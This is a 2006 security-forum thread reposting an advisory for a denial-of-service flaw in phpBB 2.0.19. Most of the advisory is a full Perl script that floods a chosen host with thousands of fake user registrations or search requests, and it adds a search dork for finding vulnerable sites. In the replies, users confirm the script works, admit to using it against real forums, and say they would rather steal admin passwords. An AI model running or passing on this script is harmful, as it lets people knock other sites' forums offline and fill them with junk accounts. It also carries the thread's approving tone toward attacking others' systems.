Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 783
Members: 0
Total: 783
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB 2.0.19 search.php and profile.php DOS Vulnerability
Post new topic  Reply to topic View previous topic :: View next topic 
phpBB 2.0.19 search.php and profile.php DOS Vulnerability
PostPosted: Wed Feb 01, 2006 12:26 am Reply with quote
WaterBird
Active user
Active user
 
Joined: May 16, 2005
Posts: 37




------------------------------------------------------
HYSA-2006-001 h4cky0u.org Advisory 010
------------------------------------------------------
Date - Wed Jan 25 2006


TITLE:
======

phpBB 2.0.19 search.php and profile.php DOS Vulnerability


SEVERITY:
=========

High


SOFTWARE:
=========

phpBB 2.0.19 and prior


INFO:
=====

phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

Support Website : http://www.phpbb.com


BUG DESCRIPTION:
================

The bug was originally found by HaCkZaTaN of NeoSecurityteam. The original exploit code can be found at -

http://h4cky0u.org/viewtopic.php?t=637

This one affected only versions uptill phpBB 2.0.15. The exploit code has been recoded which affects the latest version too. The bug resides in the following two scripts-

profile.php << By registering as many users as you can.
search.php << By searching in a way that the db cannot understand.


Proof Of Concept Code:
======================

#!/usr/bin/perl
#######################################
## Recoded by: mix2mix and Elioni of http://ahg-khf.org
## And h4cky0u Security Forums (http://h4cky0u.org)
## Name: phpBBDoSReloaded
## Original Author: HaCkZaTaN of Neo Security Team
## Tested on phpBB 2.0.19 and earlier versions
## Ported to perl by g30rg3_x
## Date: 25/01/06
#######################################
use IO::Socket;

## Initialized X
$x = 0;

print q(
phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
Recoded by Albanian Hackers Group &
h4cky0u Security Forums

);
print q(Host |without-> http://www.| );
$host = <STDIN>;
chop ($host);

print q(Path |example-> /phpBB2/ or /| );
$pth = <STDIN>;
chop ($pth);

print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| );
$type = <STDIN>;
chop ($type);

## Tipi p?r regjistrim
if($type == 1){

## User Loop for 9999 loops (enough for Flood xDDDD)
while($x != 9999)
{

## Antari q? regjistrohet automatikisht? "X"
$uname = "username=AHG__" . "$x";

## Emaili q? regjistrohet ne baz?n "X"
$umail = "&email=AHG__" . "$x";

$postit = "$uname"."$umail"."%40ahg-crew.org&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit";

$lrg = length $postit;

my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nNuk mundem te lidhemi me hostin sepse ?sht dosirat ose nuk egziston: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Register a User in
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

$x++;
}

## Tipi 2-sh? p?r K?rkim(Flood)
}
elsif ($type == 2){

while($x != 9999)
{
## Final Search String to Send
$postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

## Posit Length
$lrg = length $postit;

## Connect Socket with Variables Provided By User
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

## Increment X in One for every Loop
$x++;
}
}else{
## STF??? Qfar? keni Shtypur
die "Mund?sia nuk Lejohet +_-???\n";
}


FIX:
====

No fix available as of date.


GOOGLEDORK:
===========

"Powered by phpBB"


CREDITS:
========

- This vulnerability was discovered and researched by HaCkZaTaN of NeoSecurityteam.


- Exploit recoded by mix2mix of [AHG-KHF] Security Team for the latest release of the script -

Web : http://ahg-khf.org

mail : webmaster at ahg-khf dot org


- Co Researcher -

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail dot com

web : http://www.h4cky0u.org
View user's profile Send private message
PostPosted: Wed Feb 01, 2006 12:49 am Reply with quote
WaterBird
Active user
Active user
 
Joined: May 16, 2005
Posts: 37




It seems that it's not working Sad
View user's profile Send private message
PostPosted: Fri Feb 03, 2006 2:19 pm Reply with quote
is0t0pe
Regular user
Regular user
 
Joined: Jan 10, 2006
Posts: 13




Works for me.
View user's profile Send private message
PostPosted: Sat Feb 04, 2006 1:09 am Reply with quote
syntax9
Active user
Active user
 
Joined: Dec 21, 2005
Posts: 33




works but so pointless in my eyes.
id rather get an admin password and dump the sql than dos the site.
View user's profile Send private message
PostPosted: Mon Feb 06, 2006 4:54 pm Reply with quote
is0t0pe
Regular user
Regular user
 
Joined: Jan 10, 2006
Posts: 13




syntax9 wrote:
works but so pointless in my eyes.
id rather get an admin password and dump the sql than dos the site.

I agreee, I DoS'd a couple 2.0.19 forums and it mad eliek 10 thousand users, but didnt crash the webserver, its pointless...
View user's profile Send private message
phpBB 2.0.19 search.php and profile.php DOS Vulnerability
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.122 Seconds